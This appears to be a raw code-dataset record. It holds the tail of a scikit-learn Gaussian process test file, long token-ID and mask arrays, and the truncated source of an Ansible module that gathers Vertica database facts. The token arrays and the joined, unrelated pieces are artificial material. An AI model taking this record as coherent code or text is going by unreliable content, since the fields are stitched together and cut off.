GaussianProcessRegressor(kernel=kernel).fit(X, y) assert_greater(gpr.log_marginal_likelihood(gpr.kernel_.theta), gpr.log_marginal_likelihood(kernel.theta)) def test_lml_precomputed(): """ Test that lml of optimized kernel is stored correctly. """ for kernel in kernels: gpr = GaussianProcessRegressor(kernel=kernel).fit(X, y) assert_equal(gpr.log_marginal_likelihood(gpr.kernel_.theta), gpr.log_marginal_likelihood()) def test_converged_to_local_maximum(): """ Test that we are in local maximum after hyperparameter-optimization.""" for kernel in kernels: if kernel == fixed_kernel: continue gpr = GaussianProcessRegressor(kernel=kernel).fit(X, y) lml, lml_gradient = \ gpr.log_marginal_likelihood(gpr.kernel_.theta, True) assert_true(np.all((np.abs(lml_gradient) < 1e-4) | (gpr.kernel_.theta == gpr.kernel_.bounds[:, 0]) | (gpr.kernel_.theta == gpr.kernel_.bounds[:, 1]))) def test_solution_inside_bounds(): """ Test that hyperparameter-optimization remains in bounds""" for kernel in kernels: if kernel == fixed_kernel: continue gpr = GaussianProcessRegressor(kernel=kernel).fit(X, y) bounds = gpr.kernel_.bounds max_ = np.finfo(gpr.kernel_.theta.dtype).max tiny = 1e-10 bounds[~np.isfinite(bounds[:, 1]), 1] = max_ assert_array_less(bounds[:, 0], gpr.kernel_.theta + tiny) assert_array_less(gpr.kernel_.theta, bounds[:, 1] + tiny) def test_lml_gradient(): """ Compare analytic and numeric gradient of log marginal likelihood. """ for kernel in kernels: gpr = GaussianProcessRegressor(kernel=kernel).fit(X, y) lml, lml_gradient = gpr.log_marginal_likelihood(kernel.theta, True) lml_gradient_approx = \ approx_fprime(kernel.theta, lambda theta: gpr.log_marginal_likelihood(theta, False), 1e-10) assert_almost_equal(lml_gradient, lml_gradient_approx, 3) def test_prior(): """ Test that GP prior has mean 0 and identical variances.""" for kernel in kernels: gpr = GaussianProcessRegressor(kernel=kernel) y_mean, y_cov = gpr.predict(X, return_cov=True) assert_almost_equal(y_mean, 0, 5) if len(gpr.kernel.theta) > 1: # XXX: quite hacky, works only for current kernels assert_almost_equal(np.diag(y_cov), np.exp(kernel.theta[0]), 5) else: assert_almost_equal(np.diag(y_cov), 1, 5) def test_sample_statistics(): """ Test that statistics of samples drawn from GP are correct.""" for kernel in kernels: gpr = GaussianProcessRegressor(kernel=kernel).fit(X, y) y_mean, y_cov = gpr.predict(X2, return_cov=True) samples = gpr.sample_y(X2, 300000) # More digits accuracy would require many more samples assert_almost_equal(y_mean, np.mean(samples, 1), 1) assert_almost_equal(np.diag(y_cov) / np.diag(y_cov).max(), np.var(samples, 1) / np.diag(y_cov).max(), 1) def test_no_optimizer(): """ Test that kernel parameters are unmodified when optimizer is None.""" kernel = RBF(1.0) gpr = GaussianProcessRegressor(kernel=kernel, optimizer=None).fit(X, y) assert_equal(np.exp(gpr.kernel_.theta), 1.0) def test_predict_cov_vs_std(): """ Test that predicted std.-dev. is consistent with cov's diagonal.""" for kernel in kernels: gpr = GaussianProcessRegressor(kernel=kernel).fit(X, y) y_mean, y_cov = gpr.predict(X2, return_cov=True) y_mean, y_std = gpr.predict(X2, return_std=True) assert_almost_equal(np.sqrt(np.diag(y_cov)), y_std) def test_anisotropic_kernel(): """ Test that GPR can identify meaningful anisotropic length-scales. """ # We learn a function which varies in one dimension ten-times slower # than in the other. The corresponding length-scales should differ by at # least a factor 5 rng = np.random.RandomState(0) X = rng.uniform(-1, 1, (50, 2)) y = X[:, 0] + 0.1 * X[:, 1] kernel = RBF([1.0, 1.0]) gpr = GaussianProcessRegressor(kernel=kernel).fit(X, y) assert_greater(np.exp(gpr.kernel_.theta[1]), np.exp(gpr.kernel_.theta[0]) * 5) def test_random_starts(): """ Test that an increasing number of random-starts of GP fitting only increases the log marginal likelihood of the chosen theta. """ n_samples, n_features = 25, 2 np.random.seed(0) rng = np.random.RandomState(0) X = rng.randn(n_samples, n_features) * 2 - 1 y = np.sin(X).sum(axis=1) + np.sin(3 * X).sum(axis=1) \ + rng.normal(scale=0.1, size=n_samples) kernel = C(1.0, (1e-2, 1e2)) \ * RBF(length_scale=[1.0] * n_features, length_scale_bounds=[(1e-4, 1e+2)] * n_features) \ + WhiteKernel(noise_level=1e-5, noise_level_bounds=(1e-5, 1e1)) last_lml = -np.inf for n_restarts_optimizer in range(5): gp = GaussianProcessRegressor( kernel=kernel, n_restarts_optimizer=n_restarts_optimizer, random_state=0,).fit(X, y) lml = gp.log_marginal_likelihood(gp.kernel_.theta) assert_greater(lml, last_lml - np.finfo(np.float32).eps) last_lml = lml def test_y_normalization(): """ Test normalization of the target values in GP Fitting non-normalizing GP on normalized y and fitting normalizing GP on unnormalized y should yield identical results """ y_mean = y.mean(0) y_norm = y - y_mean for kernel in kernels: # Fit non-normalizing GP on normalized y gpr = GaussianProcessRegressor(kernel=kernel) gpr.fit(X, y_norm) # Fit normalizing GP on unnormalized y gpr_norm = GaussianProcessRegressor(kernel=kernel, normalize_y=True) gpr_norm.fit(X, y) # Compare predicted mean, std-devs and covariances y_pred, y_pred_std = gpr.predict(X2, return_std=True) y_pred = y_mean + y_pred y_pred_norm, y_pred_std_norm = gpr_norm.predict(X2, return_std=True) assert_almost_equal(y_pred, y_pred_norm) assert_almost_equal(y_pred_std, y_pred_std_norm) _, y_cov = gpr.predict(X2, return_cov=True) _, y_cov_norm = gpr_norm.predict(X2, return_cov=True) assert_almost_equal(y_cov, y_cov_norm) def test_y_multioutput(): """ Test that GPR can deal with multi-dimensional target values""" y_2d = np.vstack((y, y * 2)).T # Test for fixed kernel that first dimension of 2d GP equals the output # of 1d GP and that second dimension is twice as large kernel = RBF(length_scale=1.0) gpr = GaussianProcessRegressor(kernel=kernel, optimizer=None, normalize_y=False) gpr.fit(X, y) gpr_2d = GaussianProcessRegressor(kernel=kernel, optimizer=None, normalize_y=False) gpr_2d.fit(X, y_2d) y_pred_1d, y_std_1d = gpr.predict(X2, return_std=True) y_pred_2d, y_std_2d = gpr_2d.predict(X2, return_std=True) _, y_cov_1d = gpr.predict(X2, return_cov=True) _, y_cov_2d = gpr_2d.predict(X2, return_cov=True) assert_almost_equal(y_pred_1d, y_pred_2d[:, 0]) assert_almost_equal(y_pred_1d, y_pred_2d[:, 1] / 2) # Standard deviation and covariance do not depend on output assert_almost_equal(y_std_1d, y_std_2d) assert_almost_equal(y_cov_1d, y_cov_2d) y_sample_1d = gpr.sample_y(X2, n_samples=10) y_sample_2d = gpr_2d.sample_y(X2, n_samples=10) assert_almost_equal(y_sample_1d, y_sample_2d[:, 0]) # Test hyperparameter optimization for kernel in kernels: gpr = GaussianProcessRegressor(kernel=kernel, normalize_y=True) gpr.fit(X, y) gpr_2d = GaussianProcessRegressor(kernel=kernel, normalize_y=True) gpr_2d.fit(X, np.vstack((y, y)).T) assert_almost_equal(gpr.kernel_.theta, gpr_2d.kernel_.theta, 4) def test_custom_optimizer(): """ Test that GPR can use externally defined optimizers. """ # Define a dummy optimizer that simply tests 50 random hyperparameters def optimizer(obj_func, initial_theta, bounds): rng = np.random.RandomState(0) theta_opt, func_min = \ initial_theta, obj_func(initial_theta, eval_gradient=False) for _ in range(50): theta = np.atleast_1d(rng.uniform(np.maximum(-2, bounds[:, 0]), np.minimum(1, bounds[:, 1]))) f = obj_func(theta, eval_gradient=False) if f < func_min: theta_opt, func_min = theta, f return theta_opt, func_min for kernel in kernels: if kernel == fixed_kernel: continue gpr = GaussianProcessRegressor(kernel=kernel, optimizer=optimizer) gpr.fit(X, y) # Checks that optimizer improved marginal likelihood assert_greater(gpr.log_marginal_likelihood(gpr.kernel_.theta), gpr.log_marginal_likelihood(gpr.kernel.theta)) def test_duplicate_input(): """ Test GPR can handle two different output-values for the same input. """ for kernel in kernels: gpr_equal_inputs = \ GaussianProcessRegressor(kernel=kernel, alpha=1e-2) gpr_similar_inputs = \ GaussianProcessRegressor(kernel=kernel, alpha=1e-2) X_ = np.vstack((X, X[0])) y_ = np.hstack((y, y[0] + 1)) gpr_equal_inputs.fit(X_, y_) X_ = np.vstack((X, X[0] + 1e-15)) y_ = np.hstack((y, y[0] + 1)) gpr_similar_inputs.fit(X_, y_) X_test = np.linspace(0, 10, 100)[:, None] y_pred_equal, y_std_equal = \ gpr_equal_inputs.predict(X_test, return_std=True) y_pred_similar, y_std_similar = \ gpr_similar_inputs.predict(X_test, return_std=True) assert_almost_equal(y_pred_equal, y_pred_similar) assert_almost_equal(y_std_equal, y_std_similar)
bsd-3-clause
[ 624, 9029, 367, 17131, 2112, 10864, 408, 199, 199, 3, 6529, 26, 17474, 869, 500, 25844, 10072, 5193, 665, 74, 14038, 32, 262, 10928, 30298, 14, 5411, 13, 10205, 1410, 14, 271, 30, 199, 3, 491, 530, 4894, 26, 6289, 650, 8502, 199, 199, 646, 2680, 465, 980, 199, 199, 504, 7026, 14, 13416, 492, 14106, 63, 70, 12446, 199, 199, 504, 6357, 14, 22911, 63, 1412, 492, 17131, 3498, 15155, 199, 504, 6357, 14, 22911, 63, 1412, 14, 29824, 971, 272, 492, 820, 12659, 12, 19991, 14127, 465, 445, 12, 2816, 1175, 14127, 199, 199, 504, 6357, 14, 1208, 14, 4776, 971, 272, 492, 334, 479, 63, 2052, 12, 702, 63, 13154, 12, 702, 63, 1144, 63, 2003, 12, 288, 702, 63, 4398, 63, 1452, 12, 702, 63, 1452, 9, 421, 199, 318, 289, 8, 88, 304, 272, 372, 671, 627, 980, 14, 5911, 8, 88, 9, 199, 56, 275, 980, 14, 22900, 63, 18, 68, 779, 17, 2020, 650, 2020, 959, 2020, 1227, 2020, 1520, 2020, 1695, 14, 6575, 52, 199, 56, 18, 275, 980, 14, 22900, 63, 18, 68, 779, 18, 2020, 841, 2020, 959, 14, 21, 12, 1227, 14, 21, 12, 1520, 14, 21, 6575, 52, 199, 89, 275, 289, 8, 56, 680, 11186, 342, 199, 199, 5964, 63, 4989, 275, 820, 12659, 8, 1267, 63, 3467, 29, 17, 14, 16, 12, 2582, 63, 3467, 63, 9632, 628, 5964, 531, 199, 29824, 275, 359, 50, 12659, 8, 1267, 63, 3467, 29, 17, 14, 16, 395, 6317, 63, 4989, 12, 1779, 820, 12659, 8, 1267, 63, 3467, 29, 17, 14, 16, 12, 2582, 63, 3467, 63, 9632, 2687, 17, 69, 13, 19, 12, 413, 69, 19, 1826, 1779, 445, 8, 17, 14, 16, 12, 334, 17, 69, 13, 18, 12, 413, 69, 18, 430, 627, 1779, 820, 12659, 8, 1267, 63, 3467, 29, 17, 14, 16, 12, 2582, 63, 3467, 63, 9632, 2687, 17, 69, 13, 19, 12, 413, 69, 19, 1826, 1779, 445, 8, 17, 14, 16, 12, 334, 17, 69, 13, 18, 12, 413, 69, 18, 430, 627, 1779, 820, 12659, 8, 1267, 63, 3467, 29, 17, 14, 16, 12, 2582, 63, 3467, 63, 9632, 2687, 17, 69, 13, 19, 12, 413, 69, 19, 430, 435, 1779, 445, 8, 17, 69, 13, 21, 12, 334, 17, 69, 13, 21, 12, 413, 69, 18, 1826, 1779, 445, 8, 16, 14, 17, 12, 334, 17, 69, 13, 18, 12, 413, 69, 18, 430, 627, 1779, 820, 12659, 8, 1267, 63, 3467, 29, 17, 14, 16, 12, 2582, 63, 3467, 63, 9632, 2687, 17, 69, 13, 19, 12, 413, 69, 19, 430, 435, 1779, 445, 8, 17, 69, 13, 21, 12, 334, 17, 69, 13, 21, 12, 413, 69, 18, 10524, 421, 199, 318, 511, 63, 71, 2700, 63, 21080, 837, 272, 408, 774, 314, 23005, 1958, 3324, 367, 3365, 26091, 1041, 272, 367, 5114, 315, 26091, 26, 267, 486, 2700, 275, 17131, 3498, 15155, 8, 4989, 29, 4989, 680, 3269, 8, 56, 12, 612, 9, 267, 612, 63, 5991, 12, 612, 63, 8695, 275, 486, 2700, 14, 6892, 8, 56, 12, 372, 63, 8695, 29, 549, 9, 398, 702, 63, 2052, 8, 1590, 14, 7520, 8, 89, 63, 5991, 12, 612, 430, 267, 702, 63, 2052, 8, 1590, 14, 7520, 8, 1590, 14, 6706, 8, 89, 63, 8695, 395, 378, 26273, 421, 199, 318, 511, 63, 76, 757, 63, 3236, 293, 4007, 837, 272, 408, 1379, 626, 10342, 5329, 13, 10032, 316, 1742, 293, 2310, 943, 13, 9650, 279, 22046, 14, 408, 272, 367, 5114, 315, 26091, 26, 267, 340, 5114, 508, 6317, 63, 4989, 26, 288, 1980, 267, 486, 2700, 275, 17131, 3498, 15155, 8, 4989, 29, 4989, 680, 3269, 8, 56, 12, 612, 9, 267, 702, 63, 13154, 8, 71, 2700, 14, 793, 63, 9650, 279, 63, 20704, 8, 71, 2700, 14, 4989, 3754, 9337, 395, 2432, 486, 2700, 14, 793, 63, 9650, 279, 63, 20704, 8, 4989, 14, 9337, 430, 421, 199, 318, 511, 63, 76, 757, 63, 26596, 837, 272, 408, 1379, 626, 634, 757, 402, 20212, 5114, 365, 5489, 6657, 14, 408, 272, 367, 5114, 315, 26091, 26, 267, 486, 2700, 275, 17131, 3498, 15155, 8, 4989, 29, 4989, 680, 3269, 8, 56, 12, 612, 9, 267, 702, 63, 1452, 8, 71, 2700, 14, 793, 63, 9650, 279, 63, 20704, 8, 71, 2700, 14, 4989, 3754, 9337, 395, 2151, 486, 2700, 14, 793, 63, 9650, 279, 63, 20704, 1012, 421, 199, 318, 511, 63, 6435, 3046, 63, 475, 63, 1832, 63, 11555, 837, 272, 408, 1379, 626, 781, 787, 315, 2257, 5696, 2410, 10342, 5329, 13, 31405, 1041, 272, 367, 5114, 315, 26091, 26, 267, 340, 5114, 508, 6317, 63, 4989, 26, 288, 1980, 267, 486, 2700, 275, 17131, 3498, 15155, 8, 4989, 29, 4989, 680, 3269, 8, 56, 12, 612, 9, 398, 634, 757, 12, 634, 757, 63, 7490, 275, 971, 288, 486, 2700, 14, 793, 63, 9650, 279, 63, 20704, 8, 71, 2700, 14, 4989, 3754, 9337, 12, 715, 9, 398, 702, 63, 2052, 8, 1590, 14, 452, 1332, 1590, 14, 2101, 8, 76, 757, 63, 7490, 9, 665, 413, 69, 13, 20, 9, 1204, 2574, 334, 71, 2700, 14, 4989, 3754, 9337, 508, 486, 2700, 14, 4989, 3754, 9632, 3981, 378, 566, 1204, 2574, 334, 71, 2700, 14, 4989, 3754, 9337, 508, 486, 2700, 14, 4989, 3754, 9632, 3981, 413, 11845, 421, 199, 318, 511, 63, 14458, 63, 17183, 63, 9632, 837, 272, 408, 1379, 626, 10342, 5329, 13, 31405, 25803, 315, 10461, 624, 272, 367, 5114, 315, 26091, 26, 267, 340, 5114, 508, 6317, 63, 4989, 26, 288, 1980, 267, 486, 2700, 275, 17131, 3498, 15155, 8, 4989, 29, 4989, 680, 3269, 8, 56, 12, 612, 9, 398, 10461, 275, 486, 2700, 14, 4989, 3754, 9632, 267, 1390, 63, 275, 980, 14, 23087, 8, 71, 2700, 14, 4989, 3754, 9337, 14, 2271, 680, 988, 267, 29128, 275, 413, 69, 13, 709, 267, 10461, 19911, 1590, 14, 30276, 8, 9632, 3981, 413, 2522, 413, 61, 275, 1390, 63, 398, 702, 63, 1144, 63, 2003, 8, 9632, 3981, 378, 467, 486, 2700, 14, 4989, 3754, 9337, 435, 29128, 9, 267, 702, 63, 1144, 63 ]
[ 9029, 367, 17131, 2112, 10864, 408, 199, 199, 3, 6529, 26, 17474, 869, 500, 25844, 10072, 5193, 665, 74, 14038, 32, 262, 10928, 30298, 14, 5411, 13, 10205, 1410, 14, 271, 30, 199, 3, 491, 530, 4894, 26, 6289, 650, 8502, 199, 199, 646, 2680, 465, 980, 199, 199, 504, 7026, 14, 13416, 492, 14106, 63, 70, 12446, 199, 199, 504, 6357, 14, 22911, 63, 1412, 492, 17131, 3498, 15155, 199, 504, 6357, 14, 22911, 63, 1412, 14, 29824, 971, 272, 492, 820, 12659, 12, 19991, 14127, 465, 445, 12, 2816, 1175, 14127, 199, 199, 504, 6357, 14, 1208, 14, 4776, 971, 272, 492, 334, 479, 63, 2052, 12, 702, 63, 13154, 12, 702, 63, 1144, 63, 2003, 12, 288, 702, 63, 4398, 63, 1452, 12, 702, 63, 1452, 9, 421, 199, 318, 289, 8, 88, 304, 272, 372, 671, 627, 980, 14, 5911, 8, 88, 9, 199, 56, 275, 980, 14, 22900, 63, 18, 68, 779, 17, 2020, 650, 2020, 959, 2020, 1227, 2020, 1520, 2020, 1695, 14, 6575, 52, 199, 56, 18, 275, 980, 14, 22900, 63, 18, 68, 779, 18, 2020, 841, 2020, 959, 14, 21, 12, 1227, 14, 21, 12, 1520, 14, 21, 6575, 52, 199, 89, 275, 289, 8, 56, 680, 11186, 342, 199, 199, 5964, 63, 4989, 275, 820, 12659, 8, 1267, 63, 3467, 29, 17, 14, 16, 12, 2582, 63, 3467, 63, 9632, 628, 5964, 531, 199, 29824, 275, 359, 50, 12659, 8, 1267, 63, 3467, 29, 17, 14, 16, 395, 6317, 63, 4989, 12, 1779, 820, 12659, 8, 1267, 63, 3467, 29, 17, 14, 16, 12, 2582, 63, 3467, 63, 9632, 2687, 17, 69, 13, 19, 12, 413, 69, 19, 1826, 1779, 445, 8, 17, 14, 16, 12, 334, 17, 69, 13, 18, 12, 413, 69, 18, 430, 627, 1779, 820, 12659, 8, 1267, 63, 3467, 29, 17, 14, 16, 12, 2582, 63, 3467, 63, 9632, 2687, 17, 69, 13, 19, 12, 413, 69, 19, 1826, 1779, 445, 8, 17, 14, 16, 12, 334, 17, 69, 13, 18, 12, 413, 69, 18, 430, 627, 1779, 820, 12659, 8, 1267, 63, 3467, 29, 17, 14, 16, 12, 2582, 63, 3467, 63, 9632, 2687, 17, 69, 13, 19, 12, 413, 69, 19, 430, 435, 1779, 445, 8, 17, 69, 13, 21, 12, 334, 17, 69, 13, 21, 12, 413, 69, 18, 1826, 1779, 445, 8, 16, 14, 17, 12, 334, 17, 69, 13, 18, 12, 413, 69, 18, 430, 627, 1779, 820, 12659, 8, 1267, 63, 3467, 29, 17, 14, 16, 12, 2582, 63, 3467, 63, 9632, 2687, 17, 69, 13, 19, 12, 413, 69, 19, 430, 435, 1779, 445, 8, 17, 69, 13, 21, 12, 334, 17, 69, 13, 21, 12, 413, 69, 18, 10524, 421, 199, 318, 511, 63, 71, 2700, 63, 21080, 837, 272, 408, 774, 314, 23005, 1958, 3324, 367, 3365, 26091, 1041, 272, 367, 5114, 315, 26091, 26, 267, 486, 2700, 275, 17131, 3498, 15155, 8, 4989, 29, 4989, 680, 3269, 8, 56, 12, 612, 9, 267, 612, 63, 5991, 12, 612, 63, 8695, 275, 486, 2700, 14, 6892, 8, 56, 12, 372, 63, 8695, 29, 549, 9, 398, 702, 63, 2052, 8, 1590, 14, 7520, 8, 89, 63, 5991, 12, 612, 430, 267, 702, 63, 2052, 8, 1590, 14, 7520, 8, 1590, 14, 6706, 8, 89, 63, 8695, 395, 378, 26273, 421, 199, 318, 511, 63, 76, 757, 63, 3236, 293, 4007, 837, 272, 408, 1379, 626, 10342, 5329, 13, 10032, 316, 1742, 293, 2310, 943, 13, 9650, 279, 22046, 14, 408, 272, 367, 5114, 315, 26091, 26, 267, 340, 5114, 508, 6317, 63, 4989, 26, 288, 1980, 267, 486, 2700, 275, 17131, 3498, 15155, 8, 4989, 29, 4989, 680, 3269, 8, 56, 12, 612, 9, 267, 702, 63, 13154, 8, 71, 2700, 14, 793, 63, 9650, 279, 63, 20704, 8, 71, 2700, 14, 4989, 3754, 9337, 395, 2432, 486, 2700, 14, 793, 63, 9650, 279, 63, 20704, 8, 4989, 14, 9337, 430, 421, 199, 318, 511, 63, 76, 757, 63, 26596, 837, 272, 408, 1379, 626, 634, 757, 402, 20212, 5114, 365, 5489, 6657, 14, 408, 272, 367, 5114, 315, 26091, 26, 267, 486, 2700, 275, 17131, 3498, 15155, 8, 4989, 29, 4989, 680, 3269, 8, 56, 12, 612, 9, 267, 702, 63, 1452, 8, 71, 2700, 14, 793, 63, 9650, 279, 63, 20704, 8, 71, 2700, 14, 4989, 3754, 9337, 395, 2151, 486, 2700, 14, 793, 63, 9650, 279, 63, 20704, 1012, 421, 199, 318, 511, 63, 6435, 3046, 63, 475, 63, 1832, 63, 11555, 837, 272, 408, 1379, 626, 781, 787, 315, 2257, 5696, 2410, 10342, 5329, 13, 31405, 1041, 272, 367, 5114, 315, 26091, 26, 267, 340, 5114, 508, 6317, 63, 4989, 26, 288, 1980, 267, 486, 2700, 275, 17131, 3498, 15155, 8, 4989, 29, 4989, 680, 3269, 8, 56, 12, 612, 9, 398, 634, 757, 12, 634, 757, 63, 7490, 275, 971, 288, 486, 2700, 14, 793, 63, 9650, 279, 63, 20704, 8, 71, 2700, 14, 4989, 3754, 9337, 12, 715, 9, 398, 702, 63, 2052, 8, 1590, 14, 452, 1332, 1590, 14, 2101, 8, 76, 757, 63, 7490, 9, 665, 413, 69, 13, 20, 9, 1204, 2574, 334, 71, 2700, 14, 4989, 3754, 9337, 508, 486, 2700, 14, 4989, 3754, 9632, 3981, 378, 566, 1204, 2574, 334, 71, 2700, 14, 4989, 3754, 9337, 508, 486, 2700, 14, 4989, 3754, 9632, 3981, 413, 11845, 421, 199, 318, 511, 63, 14458, 63, 17183, 63, 9632, 837, 272, 408, 1379, 626, 10342, 5329, 13, 31405, 25803, 315, 10461, 624, 272, 367, 5114, 315, 26091, 26, 267, 340, 5114, 508, 6317, 63, 4989, 26, 288, 1980, 267, 486, 2700, 275, 17131, 3498, 15155, 8, 4989, 29, 4989, 680, 3269, 8, 56, 12, 612, 9, 398, 10461, 275, 486, 2700, 14, 4989, 3754, 9632, 267, 1390, 63, 275, 980, 14, 23087, 8, 71, 2700, 14, 4989, 3754, 9337, 14, 2271, 680, 988, 267, 29128, 275, 413, 69, 13, 709, 267, 10461, 19911, 1590, 14, 30276, 8, 9632, 3981, 413, 2522, 413, 61, 275, 1390, 63, 398, 702, 63, 1144, 63, 2003, 8, 9632, 3981, 378, 467, 486, 2700, 14, 4989, 3754, 9337, 435, 29128, 9, 267, 702, 63, 1144, 63, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
CydarLtd/ansible
lib/ansible/modules/database/vertica/vertica_facts.py
50
9410
#!/usr/bin/python # -*- coding: utf-8 -*- # This file is part of Ansible # # Ansible is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # Ansible is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with Ansible. If not, see <http://www.gnu.org/licenses/>. ANSIBLE_METADATA = {'metadata_version': '1.0', 'status': ['preview'], 'supported_by': 'community'} DOCUMENTATION = """ --- module: vertica_facts version_added: '2.0' short_description: Gathers Vertica database facts. description: - Gathers Vertica database facts. options: cluster: description: - Name of the cluster running the schema. required: false default: localhost port: description: Database port to connect to. required: false default: 5433 db: description: - Name of the database running the schema. required: false default: null login_user: description: - The username used to authenticate with. required: false default: dbadmin login_password: description: - The password used to authenticate with. required: false default: null notes: - The default authentication assumes that you are either logging in as or sudo'ing to the C(dbadmin) account on the host. - This module uses C(pyodbc), a Python ODBC database adapter. You must ensure that C(unixODBC) and C(pyodbc) is installed on the host and properly configured. - Configuring C(unixODBC) for Vertica requires C(Driver = /opt/vertica/lib64/libverticaodbc.so) to be added to the C(Vertica) section of either C(/etc/odbcinst.ini) or C($HOME/.odbcinst.ini) and both C(ErrorMessagesPath = /opt/vertica/lib64) and C(DriverManagerEncoding = UTF-16) to be added to the C(Driver) section of either C(/etc/vertica.ini) or C($HOME/.vertica.ini). requirements: [ 'unixODBC', 'pyodbc' ] author: "Dariusz Owczarek (@dareko)" """ EXAMPLES = """ - name: gathering vertica facts vertica_facts: db=db_name """ try: import pyodbc except ImportError: pyodbc_found = False else: pyodbc_found = True from ansible.module_utils.basic import AnsibleModule from ansible.module_utils.pycompat24 import get_exception class NotSupportedError(Exception): pass # module specific functions def get_schema_facts(cursor, schema=''): facts = {} cursor.execute(""" select schema_name, schema_owner, create_time from schemata where not is_system_schema and schema_name not in ('public') and (? = '' or schema_name ilike ?) """, schema, schema) while True: rows = cursor.fetchmany(100) if not rows: break for row in rows: facts[row.schema_name.lower()] = { 'name': row.schema_name, 'owner': row.schema_owner, 'create_time': str(row.create_time), 'usage_roles': [], 'create_roles': []} cursor.execute(""" select g.object_name as schema_name, r.name as role_name, lower(g.privileges_description) privileges_description from roles r join grants g on g.grantee = r.name and g.object_type='SCHEMA' and g.privileges_description like '%USAGE%' and g.grantee not in ('public', 'dbadmin') and (? = '' or g.object_name ilike ?) """, schema, schema) while True: rows = cursor.fetchmany(100) if not rows: break for row in rows: schema_key = row.schema_name.lower() if 'create' in row.privileges_description: facts[schema_key]['create_roles'].append(row.role_name) else: facts[schema_key]['usage_roles'].append(row.role_name) return facts def get_user_facts(cursor, user=''): facts = {} cursor.execute(""" select u.user_name, u.is_locked, u.lock_time, p.password, p.acctexpired as is_expired, u.profile_name, u.resource_pool, u.all_roles, u.default_roles from users u join password_auditor p on p.user_id = u.user_id where not u.is_super_user and (? = '' or u.user_name ilike ?) """, user, user) while True: rows = cursor.fetchmany(100) if not rows: break for row in rows: user_key = row.user_name.lower() facts[user_key] = { 'name': row.user_name, 'locked': str(row.is_locked), 'password': row.password, 'expired': str(row.is_expired), 'profile': row.profile_name, 'resource_pool': row.resource_pool, 'roles': [], 'default_roles': []} if row.is_locked: facts[user_key]['locked_time'] = str(row.lock_time) if row.all_roles: facts[user_key]['roles'] = row.all_roles.replace(' ', '').split(',') if row.default_roles: facts[user_key]['default_roles'] = row.default_roles.replace(' ', '').split(',') return facts def get_role_facts(cursor, role=''): facts = {} cursor.execute(""" select r.name, r.assigned_roles from roles r where (? = '' or r.name ilike ?) """, role, role) while True: rows = cursor.fetchmany(100) if not rows: break for row in rows: role_key = row.name.lower() facts[role_key] = { 'name': row.name, 'assigned_roles': []} if row.assigned_roles: facts[role_key]['assigned_roles'] = row.assigned_roles.replace(' ', '').split(',') return facts def get_configuration_facts(cursor, parameter=''): facts = {} cursor.execute(""" select c.parameter_name, c.current_value, c.default_value from configuration_parameters c where c.node_name = 'ALL' and (? = '' or c.parameter_name ilike ?) """, parameter, parameter) while True: rows = cursor.fetchmany(100) if not rows: break for row in rows: facts[row.parameter_name.lower()] = { 'parameter_name': row.parameter_name, 'current_value': row.current_value, 'default_value': row.default_value} return facts def get_node_facts(cursor, schema=''): facts = {} cursor.execute(""" select node_name, node_address, export_address, node_state, node_type, catalog_path from nodes """) while True: rows = cursor.fetchmany(100) if not rows: break for row in rows: facts[row.node_address] = { 'node_name': row.node_name, 'export_address': row.export_address, 'node_state': row.node_state, 'node_type': row.node_type, 'catalog_path': row.catalog_path} return facts # module logic def main(): module = AnsibleModule( argument_spec=dict( cluster=dict(default='localhost'), port=dict(default='5433'), db=dict(default=None), login_user=dict(default='dbadmin'), login_password=dict(default=None, no_log=True), ), supports_check_mode = True) if not pyodbc_found: module.fail_json(msg="The python pyodbc module is required.") db = '' if module.params['db']: db = module.params['db'] try: dsn = ( "Driver=Vertica;" "Server=%s;" "Port=%s;" "Database=%s;" "User=%s;" "Password=%s;" "ConnectionLoadBalance=%s" ) % (module.params['cluster'], module.params['port'], db, module.params['login_user'], module.params['login_password'], 'true') db_conn = pyodbc.connect(dsn, autocommit=True) cursor = db_conn.cursor() except Exception: e = get_exception() module.fail_json(msg="Unable to connect to database: %s." % str(e)) try: schema_facts = get_schema_facts(cursor) user_facts = get_user_facts(cursor) role_facts = get_role_facts(cursor) configuration_facts = get_configuration_facts(cursor) node_facts = get_node_facts(cursor) module.exit_json(changed=False, ansible_facts={'vertica_schemas': schema_facts, 'vertica_users': user_facts, 